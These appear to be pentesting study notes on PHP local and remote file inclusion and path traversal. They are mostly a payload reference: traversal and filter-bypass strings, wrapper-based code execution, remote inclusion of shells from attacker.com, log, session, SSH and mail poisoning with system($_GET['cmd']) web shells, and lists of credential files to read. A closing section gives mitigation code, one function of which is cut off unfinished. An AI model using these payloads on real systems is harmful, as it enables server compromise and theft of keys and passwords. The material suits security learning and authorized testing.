

LFI, LFD, RFI, and Path Traversal Notes

Eyad Islam El-Taher

May 14, 2026

Contents

1	Introduction	4
2	Local File Inclusion (LFI)	4
2.1	Definition	4
2.2	Why It Happens	4
2.3	Vulnerable Code Example	4
2.4	How LFI Works	5
3	Advanced LFI Techniques	5
3.1	Null Byte Injection (Old PHP)	5
3.2	Path Truncation	5
3.3	Double Encoding	5
3.4	Alternative Traversal Sequences	5
3.5	URL Encoding Variations	6
4	Local File Disclosure (LFD)	6
4.1	Definition	6
4.2	Difference Between LFI and LFD	6
4.3	Advanced PHP Wrappers	6
4.3.1	php://filter - Read Source Code	6
4.3.2	php://filter Chain Multiple Filters	6
4.3.3	php://input - Execute POST Data	6
4.3.4	php://temp - Temporary Storage	7
4.3.5	php://memory - Memory Stream	7
4.3.6	expect:// - Command Execution	7
4.3.7	file:// - Absolute Path Reading	7
4.4	Data Wrapper for Code Execution	7
4.5	Zip Wrapper for File Reading	7
4.6	Phar Wrapper for Deserialization	7
4.7	SSH2 Wrapper	7
5	Remote File Inclusion (RFI)	8
5.1	Definition	8
5.2	Basic RFI Example	8
5.3	Why RFI Is Dangerous	8
5.4	Bypassing allow_url_include Restrictions	8
5.5	Using Log Files for RFI Alternative	8

6	LFI to RCE - Advanced Techniques	8
6.1	Log Poisoning - Detailed	8
6.1.1	Step 1: Poison the Log	8
6.1.2	Step 2: Include the Log File	9
6.1.3	Common Log Locations	9
6.2	Session Poisoning	9
6.2.1	Step 1: Find Session Location	9
6.2.2	Step 2: Poison Session	9
6.2.3	Step 3: Include Session File	9
6.3	Environment Variable Injection	9
6.4	FD (File Descriptor) Exploitation	9
6.5	/proc/self/mem - Memory Reading	10
6.6	Uploaded File Inclusion	10
6.7	SSH Log Poisoning	10
6.8	Mail Log Poisoning	10
6.9	/proc/self/fd Inclusion	10
7	Path Traversal - Advanced	10
7.1	Base Path Bypass Techniques	10
7.2	Extension Bypass Techniques	11
7.3	WAF Bypass Techniques	11
7.3.1	Case Manipulation	11
7.3.2	Unicode Bypasses	11
7.3.3	Double Traversal	11
7.4	OS-Specific Paths	11
7.4.1	Windows Path Traversal	11
7.4.2	Linux Path Traversal	12
8	Important Files to Target	12
8.1	Linux Critical Files	12
8.2	Windows Critical Files	12
8.3	Application-Specific Files	13
9	Detection Methodology	13
9.1	Step-by-Step Testing Process	13
9.2	Parameter Fuzzing Wordlist	13
9.3	Error Analysis	14
10	Complete Payload Reference	14
10.1	Basic Detection Payloads	14
10.2	Wrappers and Filters	14
10.3	Log Poisoning Payloads	15
10.4	Session Poisoning Payloads	15
10.5	Proc Filesystem Payloads	15
10.6	Encoding Bypass Payloads	15
11	Framework and CMS Specific	16
11.1	WordPress LFI	16
11.2	Laravel LFI	16
11.3	Drupal LFI	16
12	Tools and Automation	16
12.1	Useful Tools	16
12.2	ffuf Fuzzing Examples	17

13 Important Notes for Bug Bounty and Pentesting	17
14 Mitigation and Prevention	17
14.1 Core Prevention Principles	17
14.2 Input Validation Strategies	18
14.2.1 Whitelist Approach (Recommended)	18
14.2.2 Path Sanitization (Defense in Depth)	18
14.3 File System Permissions	18
14.3.1 Principle of Least Privilege	18
14.3.2 Preventing Log Poisoning	19
14.4 Secure Coding Practices	19
14.4.1 Using Basename for Filename Extraction	19
14.4.2 Using Realpath for Path Validation	20

1 Introduction

File-related vulnerabilities are among the most dangerous web application vulnerabilities because they may allow attackers to:

- Read sensitive files
- Execute commands on the server
- Access configuration files
- Leak passwords and API keys
- Escalate to Remote Code Execution (RCE)

These vulnerabilities usually occur when developers allow user input to interact directly with filesystem functions without proper validation.

The most common vulnerabilities are:

1. Local File Inclusion (LFI)
2. Local File Disclosure (LFD)
3. Remote File Inclusion (RFI)
4. Path Traversal

2 Local File Inclusion (LFI)

2.1 Definition

Local File Inclusion (LFI) happens when a web application includes files from the local server using user-controlled input.

The attacker manipulates parameters to force the application to load unintended local files.

2.2 Why It Happens

LFI usually occurs because developers use dangerous PHP functions directly with user input.

Common vulnerable functions:

- `include()`
- `include_once()`
- `require()`
- `require_once()`

2.3 Vulnerable Code Example

```
1 <?php
2 include("files/" . $_GET['language']);
3 ?>
```

The application expects:

```
1 /index.php?language=english.php
```

But the attacker sends:

```
1 /index.php?language=../../../../etc/passwd
```

This attempts to read the Linux password file.

2.4 How LFI Works

The attack works because:

1. User input is directly appended to filesystem paths
2. The application does not validate the input
3. The server processes traversal sequences like ../
4. Sensitive files become accessible

3 Advanced LFI Techniques

3.1 Null Byte Injection (Old PHP)

In older PHP versions (before 5.3.4), null bytes terminated strings.

```
1 /index.php?page=../../../../etc/passwd%00
```

The null byte (\0) tells PHP to ignore the appended extension.

Legacy Technique

Null byte injection only works in PHP versions before 5.3.4. Modern versions are patched.

3.2 Path Truncation

Some PHP versions truncate long paths.

```
1 /index.php?page=../../../../etc/passwd.....
```

Adding many dots or slashes may bypass checks.

3.3 Double Encoding

Bypass filters by encoding twice:

```
1 ..%252f..%252f..%252fetc/passwd
```

How Double Encoding Works

The server decodes %252f to %2f, then decodes again to /. The filter may only check for ../ and miss the encoded version.

3.4 Alternative Traversal Sequences

Different systems accept different sequences:

```
1 # Windows
2 ..\\..\\..\\windows\\win.ini
3 ..\\ / ..\\ / ..\\ / etc/passwd
4
5 # Unix
6 .....//.....//.....//etc/passwd
7 ..;/../;/../;/etc/passwd
8
9 # All systems
10 %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
11 %252e%252e%252fetc/passwd
```

3.5 URL Encoding Variations

Character	Encodings
.	%2e, %2E, %252e
/	%2f, %2F, %252f
\	%5c, %5C, %255c
:	%3a, %3A, %253a

4 Local File Disclosure (LFD)

4.1 Definition

Local File Disclosure (LFD) is similar to LFI, but the attacker can only read files rather than execute them.

The vulnerability discloses sensitive file contents.

4.2 Difference Between LFI and LFD

LFI	LFD
May execute code	Only discloses files
Can lead to RCE	Usually information leakage only
Includes files into application	Reads file contents

4.3 Advanced PHP Wrappers

4.3.1 php://filter - Read Source Code

```
1 # Read raw PHP source (base64 encoded)
2 /index.php?page=php://filter/convert.base64-encode/resource=index.php
3
4 # Read with multiple filters
5 /index.php?page=php://filter/string.toupper|string.rot13/resource=config.php
6
7 # Read and convert to lowercase
8 /index.php?page=php://filter/string.tolower/resource=db.php
```

4.3.2 php://filter Chain Multiple Filters

```
1 # Apply multiple transformations
2 php://filter/convert.base64-encode|convert.iconv.utf-8.utf-16|string.rot13/
  resource=file
```

4.3.3 php://input - Execute POST Data

```
1 # Send PHP code in POST body
2 POST /index.php?page=php://input
3 Content-Type: text/plain
4
5 <?php system('id'); ?>
```

PHP Input Requirement

php://input requires allow_url_include = On and allow_url_fopen = On.

4.3.4 php://temp - Temporary Storage

```
1 /index.php?page=php://temp
```

May contain uploaded file data or temporary content.

4.3.5 php://memory - Memory Stream

Similar to php://temp but always uses memory.

4.3.6 expect:// - Command Execution

```
1 /index.php?page=expect://id
2 /index.php?page=expect://ls -la
```

Expect Wrapper

The expect wrapper is rarely enabled. It requires the expect extension.

4.3.7 file:// - Absolute Path Reading

```
1 /index.php?page=file:///etc/passwd
2 /index.php?page=file://C:/windows/win.ini
```

4.4 Data Wrapper for Code Execution

```
1 # Execute PHP code directly
2 /index.php?page=data://text/plain,<?php system('id'); ?>
3
4 # Base64 encoded version
5 /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
```

4.5 Zip Wrapper for File Reading

```
1 # Read files inside zip archives
2 /index.php?page=zip://path/to/file.zip%23internalfile.txt
```

4.6 Phar Wrapper for Deserialization

```
1 /index.php?page=phar://path/to/file.phar/internal.txt
```

4.7 SSH2 Wrapper

```
1 /index.php?page=ssh2.shell://user:pass@host/command
```

5 Remote File Inclusion (RFI)

5.1 Definition

Remote File Inclusion (RFI) occurs when the application allows attackers to include remote files hosted on external servers.

The server downloads and executes attacker-controlled files.

5.2 Basic RFI Example

```
1 /vuln.php?file=http://attacker.com/shell.txt
2 /vuln.php?file=https://pastebin.com/raw/shellcode
3 /vuln.php?file=ftp://attacker.com/shell.php
```

5.3 Why RFI Is Dangerous

RFI can directly lead to:

- Remote Code Execution
- Web shells
- Full server compromise
- Malware installation

5.4 Bypassing allow_url_include Restrictions

If allow_url_include is disabled, try:

```
1 # Upload shell as image, then include
2 /vuln.php?file=http://attacker.com/shell.jpg
3
4 # Use FTP wrapper
5 /vuln.php?file=ftp://attacker.com/shell.txt
6
7 # Use WebDAV
8 /vuln.php?file=http://attacker.com@evil.com/shell
```

5.5 Using Log Files for RFI Alternative

Even with RFI disabled, you can include local logs:

```
1 /vuln.php?file=/var/log/apache2/access.log
2 /vuln.php?file=/var/log/nginx/error.log
3 /vuln.php?file=../../../../logs/error.log
```

6 LFI to RCE - Advanced Techniques

6.1 Log Poisoning - Detailed

6.1.1 Step 1: Poison the Log

Send a malicious User-Agent:


```
1 User-Agent: <?php system($_GET['cmd']); ?>
```

Or inject via other HTTP headers:

```
1 Referer: <?php system($_GET['cmd']); ?>
```

```
2 X-Forwarded-For: <?php system($_GET['cmd']); ?>
```

```
3 Cookie: <?php system($_GET['cmd']); ?>
```

6.1.2 Step 2: Include the Log File

```
1 /index.php?page=/var/log/apache2/access.log&cmd=id
```

6.1.3 Common Log Locations

Log File	Location
Apache access log	/var/log/apache2/access.log
Apache error log	/var/log/apache2/error.log
Nginx access log	/var/log/nginx/access.log
Nginx error log	/var/log/nginx/error.log
SSH log	/var/log/auth.log
Mail log	/var/log/mail.log
Kernel log	/var/log/kern.log

6.2 Session Poisoning

6.2.1 Step 1: Find Session Location

Common session paths:

```
1 /var/lib/php/sessions/sess_[SESSION_ID]
```

```
2 /tmp/sess_[SESSION_ID]
```

```
3 /var/lib/php5/sess_[SESSION_ID]
```

6.2.2 Step 2: Poison Session

Set session value via parameter:

```
1 /index.php?language=<?php system('id'); ?>
```

6.2.3 Step 3: Include Session File

```
1 /index.php?page=/var/lib/php/sessions/sess_abc123
```

6.3 Environment Variable Injection

Read /proc/self/environ:

```
1 /index.php?page=../../../../../../proc/self/environ
```

If you can control environment variables (User-Agent, etc.), inject PHP code.

6.4 FD (File Descriptor) Exploitation

Linux stores process information in /proc:

```
1 /proc/self/fd/[0-9]+
```

```
2 /proc/[PID]/fd/[0-9]+
```

Bruteforce file descriptors to find open files.

6.5 /proc/self/mem - Memory Reading

Advanced technique to read process memory:

```
1 /proc/self/mem
2 /proc/self/maps
```

6.6 Uploaded File Inclusion

Find temporary uploaded files:

```
1 /tmp/php[0-9a-zA-Z]*
2 /var/tmp/php[0-9a-zA-Z]*
```

Race condition: include file before PHP deletes it.

6.7 SSH Log Poisoning

If you can log in via SSH (even with wrong password):

```
1 ssh '<?php system($_GET["cmd"]); ?>'@target.com
```

Then include:

```
1 /index.php?page=/var/log/auth.log&cmd=id
```

6.8 Mail Log Poisoning

Send email to local user:

```
1 mail -s "<?php system('id'); ?>" user@localhost < /dev/null
```

Include the mail log:

```
1 /index.php?page=/var/log/mail.log
```

6.9 /proc/self/fd Inclusion

When normal paths are blocked, try file descriptors:

```
1 /index.php?page=/proc/self/fd/0
2 /index.php?page=/proc/self/fd/1
3 /index.php?page=/proc/self/fd/2
4 ... bruteforce 0-50
```

7 Path Traversal - Advanced

7.1 Base Path Bypass Techniques

When the application adds a base path:

```
1 # Original: file.php?page=news.html
2 # App does: include("/var/www/pages/" . $_GET['page'])
3
4 # Bypass with traversal
5 file.php?page=../../../../etc/passwd
6
7 # Or absolute path
8 file.php?page=/etc/passwd
9
```

```
10 # Null byte (old PHP)
11 file.php?page=../../../../etc/passwd%00
```

7.2 Extension Bypass Techniques

When the application adds .php extension:

```
1 # Use null byte (old PHP)
2 page=../../../../etc/passwd%00
3
4 # Use path truncation (old PHP)
5 page=../../../../etc/passwd/../../../../.
6
7 # Use query parameters
8 page=../../../../etc/passwd?anything
9
10 # Use fragment
11 page=../../../../etc/passwd#anything
```

7.3 WAF Bypass Techniques

7.3.1 Case Manipulation

```
1 ../
2 ..\\
3 ..\%2f
4 ..%c0%af
5 ..%c1%9c
6 %2e%2e%2f
7 %2e%2e/
8 ..%252f
9 %252e%252e%252f
```

7.3.2 Unicode Bypasses

```
1 %c0%ae%c0%ae%c0%af (Unicode encoding)
2 %uff0e%uff0e%uff0f (Fullwidth encoding)
3 %e0%40%ae%e0%40%ae%e0%40%af
```

7.3.3 Double Traversal

```
1 ....//
2 ....\//
3 ..././
```

7.4 OS-Specific Paths

7.4.1 Windows Path Traversal

```
1 ..\\..\\..\\windows\\win.ini
2 ..\\..\\..\\boot.ini
3 ..\\..\\..\\autoexec.bat
4 ..\\..\\..\\config.sys
```

```

5 C:\\boot.ini
6 C:\\windows\\system32\\drivers\\etc\\hosts

```

7.4.2 Linux Path Traversal

```

1 ../../../../etc/passwd
2 ../../../../etc/shadow
3 ../../../../root/.bash_history
4 ../../../../var/log/apache2/access.log
5 ../../../../home/user/.ssh/id_rsa
6 ../../../../proc/self/environ
7 ../../../../proc/version

```

8 Important Files to Target

8.1 Linux Critical Files

File	Purpose
/etc/passwd	User accounts
/etc/shadow	Password hashes (requires root)
/etc/hosts	DNS resolution
/etc/hostname	System name
/etc/issue	OS identification
/proc/version	Kernel version
/proc/self/environ	Environment variables
/proc/self/cmdline	Running command line
/proc/self/fd/*	File descriptors
/proc/self/maps	Memory mapping
/var/log/apache2/access.log	Access logs
/var/log/nginx/access.log	Nginx logs
/var/log/auth.log	Authentication logs
/home/*/bash_history	Command history
/home/*/.ssh/id_rsa	SSH private keys
/root/.ssh/id_rsa	Root SSH keys
/etc/nginx/nginx.conf	Nginx config
/etc/apache2/apache2.conf	Apache config
/etc/mysql/my.cnf	MySQL config
/etc/php/*/php.ini	PHP config

8.2 Windows Critical Files

File	Purpose
C:\windows\win.ini	Windows info
C:\boot.ini	Boot configuration
C:\windows\system32\drivers\etc\hosts	Hosts file
C:\windows\system32\config\SAM	Password hashes
C:\windows\system32\config\SYSTEM	Registry
C:\windows\php.ini	PHP config
C:\inetpub\wwwroot\web.config	IIS config

C:\xampp\htdocs\index.php	Web root
C:\users*\Desktop*	User files
C:\Program Files*\config*	App configs

8.3 Application-Specific Files

Application	Config Files
WordPress	wp-config.php, .htaccess
Drupal	settings.php
Joomla	configuration.php
Laravel	.env, config/database.php
Django	settings.py
Rails	config/database.yml
Spring Boot	application.properties
Node.js	.env, config.js

9 Detection Methodology

9.1 Step-by-Step Testing Process

1. Identify parameters that reference files
2. Test basic traversal sequences
3. Observe errors and responses
4. Try wrapper payloads (php://filter, etc.)
5. Attempt encoding bypasses
6. Check for log inclusion
7. Test for code execution via log/session poisoning
8. Bruteforce for backup/config files

9.2 Parameter Fuzzing Wordlist

Common parameters to test:

- page
- file
- include
- template
- view
- content
- language
- lang
- path
- url
- redirect
- load
- read
- data
- doc
- document
- folder
- root
- location

9.3 Error Analysis

Different errors indicate different things:

Error Message	Indicator
"failed to open stream"	Path exists, but can't read
"No such file or directory"	Path doesn't exist
"include()" warning	PHP include function
File contents displayed	Direct LFI/LFD
Base64 encoded output	php://filter working
Binary/gibberish output	Binary file read

10 Complete Payload Reference

10.1 Basic Detection Payloads

```
1 # Linux
2 /etc/passwd
3 ../../../../etc/passwd
4 .....//.....//.....//etc/passwd
5 ..;/...;/...;/etc/passwd
6
7 # Windows
8 windows/win.ini
9 ../../../../windows/win.ini
10 ..\\..\\..\\windows\\win.ini
```

10.2 Wrappers and Filters

```
1 # PHP filter (read source)
2 php://filter/convert.base64-encode/resource=index.php
3 php://filter/string.tolower/resource=index.php
4 php://filter/string.rot13/resource=index.php
5
6 # PHP input (RCE)
7 php://input
8 [POST data: <?php system('id'); ?>]
9
10 # Data wrapper
11 data://text/plain,<?php system('id'); ?>
12 data://text/plain;base64,PD9waHAga3lzdGVtKCdpZCcpOz8+
13
14 # Expect wrapper
15 expect://id
16 expect://ls -la
17
18 # Zip wrapper
19 zip:///tmp/shell.jpg%23shell.php
20
21 # Phar wrapper
22 phar:///path/to/phar.phar/file
23
24 # SSH2 wrapper
25 ssh2.shell://user:pass@host/command
```

10.3 Log Poisoning Payloads

```
1 # Malicious headers
2 User-Agent: <?php system($_GET['c']); ?>
3 Referer: <?php system($_GET['c']); ?>
4 X-Forwarded-For: <?php system($_GET['c']); ?>
5 Cookie: <?php system($_GET['c']); ?>
6
7 # Include log
8 /index.php?page=/var/log/apache2/access.log&c=id
9 /index.php?page=/var/log/nginx/access.log&c=id
```

10.4 Session Poisoning Payloads

```
1 # Poison session via parameter
2 /index.php?lang=<?php system('id'); ?>
3
4 # Find session path
5 /var/lib/php/sessions/sess_[SESSION_ID]
6 /tmp/sess_[SESSION_ID]
7
8 # Include session
9 /index.php?page=/var/lib/php/sessions/sess_abc123
```

10.5 Proc Filesystem Payloads

```
1 # Environment variables
2 /proc/self/environ
3 /proc/self/cmdline
4 /proc/self/fd/0-50
5 /proc/self/maps
6 /proc/self/mem
7 /proc/version
8 /proc/cpuinfo
9 /proc/mounts
```

10.6 Encoding Bypass Payloads

```
1 # Single encoding
2 ..%2f..%2f..%2fetc/passwd
3 %2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
4
5 # Double encoding
6 ..%252f..%252f..%252fetc/passwd
7 %252e%252e%252f%252e%252e%252fetc/passwd
8
9 # Unicode encoding
10 %c0%ae%c0%ae%c0%afetc/passwd
11 %uff0e%uff0e%uff0fetc/passwd
12
13 # Alternative traversal
14 ....//....//....//etc/passwd
15 ../..//../..//etc/passwd
```

11 Framework and CMS Specific

11.1 WordPress LFI

```
1 # Theme file inclusion
2 /wp-content/themes/theme-name/../../../../wp-config.php
3
4 # Plugin vulnerability
5 /wp-content/plugins/plugin-name/../../../../wp-config.php
6
7 # wp-config location
8 ../../../../wp-config.php
9 ../../../../wp-config.php%00
```

11.2 Laravel LFI

```
1 # Read .env file
2 ../../../../.env
3 ../../../../.env%00
4
5 # Read logs
6 /storage/logs/laravel.log
7 ../../../../storage/logs/laravel.log
8
9 # Read config
10 /config/app.php
11 ../../../../config/database.php
```

11.3 Drupal LFI

```
1 # Settings file
2 ../../../../sites/default/settings.php
3
4 # Module inclusion
5 /modules/contrib/module/../../../../sites/default/settings.php
```

12 Tools and Automation

12.1 Useful Tools

- Burp Suite - Intruder for fuzzing
- LFI Suite - Automated LFI exploitation
- kadimus - LFI scanner and exploiter
- liffy - LFI exploitation tool

12.2 ffuf Fuzzing Examples

```
1 # Fuzz for LFI parameters
2 ffuf -u 'https://target.com/page.php?FUZZ=../../../../etc/passwd' -w
   parameter-wordlist.txt -fs 0
3
4 # Fuzz for files
5 ffuf -u 'https://target.com/index.php?page=FUZZ' -w lfi-wordlist.txt -fs 0
6
7 # Fuzz with payload list
8 ffuf -u 'https://target.com/index.php?page=FUZZ' -w payloads.txt -fc 404
```

13 Important Notes for Bug Bounty and Pentesting

Key Points

- Modern frameworks reduce these vulnerabilities
- Legacy PHP applications are more vulnerable
- File uploads can increase exploitation chances
- Misconfigured permissions make attacks easier
- LFI often becomes critical when chained with another vulnerability

Testing Tips

- Always test with multiple encoding variations
- Check error messages for path disclosure
- Try to read the application's own source code first
- Use collaborator for out-of-band detection
- Document all successful and interesting payloads

14 Mitigation and Prevention

Proper mitigation of file inclusion and path traversal vulnerabilities requires a defense-in-depth approach. No single control is sufficient; multiple layers of protection should be implemented.

14.1 Core Prevention Principles

The Golden Rules

1. **Never trust user input** - All file-related parameters must be treated as malicious
2. **Use whitelists, not blacklists** - Allow only explicitly approved values
3. **Apply least privilege** - Web server should have minimal filesystem access
4. **Validate early and often** - Check input at every boundary

14.2 Input Validation Strategies

14.2.1 Whitelist Approach (Recommended)

The most secure approach is to map user input to predefined allowed values.

```
1 <?php
2 // Secure: Whitelist approach
3 $allowed_pages = [
4     'home' => 'home.php',
5     'about' => 'about.php',
6     'contact' => 'contact.php',
7     'products' => 'products.php'
8 ];
9
10 $page = $_GET['page'] ?? 'home';
11
12 if (array_key_exists($page, $allowed_pages)) {
13     include($allowed_pages[$page]);
14 } else {
15     // Log the attempt and show error page
16     error_log("Unauthorized page access attempt: " . $page);
17     include('error.php');
18 }
19 ?>
```

Listing 1: Whitelist Implementation

14.2.2 Path Sanitization (Defense in Depth)

If whitelisting is not possible, sanitize the input thoroughly:

```
1 <?php
2 function sanitize_path($path) {
3     // Remove null bytes
4     $path = str_replace(chr(0), '', $path);
5
6     // Remove dangerous sequences
7     $path = str_replace(['../', '..\\', './', '.\\'], '', $path);
8
9     // Remove multiple encodings
10    $path = urldecode($path);
11    $path = str_replace(['%2e%2e%2f', '%2e%2e/'], '', $path);
12
13    // Normalize path separators
14    $path = str_replace('\\', '/', $path);
15
16    // Remove any remaining traversal attempts
17    $path = preg_replace('/\\.\\.+\\//', '', $path);
18 ?>
```

Listing 2: Path Sanitization Functions

14.3 File System Permissions

14.3.1 Principle of Least Privilege

```

1 # Set proper ownership
2 chown -R www-data:www-data /var/www/html
3
4 # Restrict permissions
5 chmod -R 750 /var/www/html
6
7 # Sensitive directories
8 chmod 700 /var/www/html/config
9 chmod 600 /var/www/html/config/database.php
10
11 # Prevent writing to web root
12 chmod 555 /var/www/html
13
14 # Separate upload directory
15 mkdir /var/www/uploads
16 chown www-data:www-data /var/www/uploads
17 chmod 755 /var/www/uploads

```

Listing 3: Secure File Permissions

14.3.2 Preventing Log Poisoning

```

1 # Log directory permissions
2 chmod 750 /var/log/apache2
3 chmod 640 /var/log/apache2/*.log
4
5 # Rotate logs regularly
6 # Prevent log files from becoming world-readable
7 umask 027 for log files

```

Listing 4: Protecting Log Files

14.4 Secure Coding Practices

14.4.1 Using Basename for Filename Extraction

```

1 <?php
2 // Only extract filename, ignore paths
3 $filename = basename($_GET['file']);
4 $safe_path = "/var/www/html/files/" . $filename;
5
6 // Verify file exists and is within allowed directory
7 $real_path = realpath($safe_path);
8 $allowed_dir = realpath('/var/www/html/files/');
9
10 if ($real_path && strpos($real_path, $allowed_dir) === 0) {
11     readfile($real_path);
12 } else {
13     http_response_code(404);
14     exit;
15 }
16 ?>

```

Listing 5: Secure File Name Handling

14.4.2 Using Realpath for Path Validation

```
1 <?php
2 function validate_file_path($user_path, $base_dir) {
3     // Resolve the full path
4     $full_path = realpath($base_dir . DIRECTORY_SEPARATOR . $user_path);
5
6     // Check if path resolution succeeded
7     if ($full_path === false) {
8         return false;
9     }
10
11    // Ensure the path is within base directory
12    if (strpos($full_path, realpath($base_dir)) !== 0) {
13        return false;
14    }
15
16    // Check file extension (whitelist)
17    $allowed_extensions = ['html', 'txt', 'pdf', 'jpg', 'png'];
18    $extension = pathinfo($full_path, PATHINFO_EXTENSION);
19
20    if (!in_array($extension, $allowed_extensions)) {
21        return false;
22    }
23
24    return $full_path;
25 }
26
27 // Usage
28 $base = '/var/www/html/pages/';
29 $user_file = $_GET['page'] ?? '';
30 $valid_path = validate_file_path($user_file, $base);
31
32 if ($valid_path && file_exists($valid_path)) {
33     include($valid_path);
34 } else {
35     http_response_code(403);
36     echo "Access denied";
37 }
38 ?>
```

Listing 6: Path Resolution and Validation

Key Takeaway

The most effective mitigation for file inclusion and path traversal vulnerabilities is to **never directly use user input in filesystem operations**. Always use whitelists, mapping tables, or database IDs instead of file paths.

Never trust user-controlled file paths.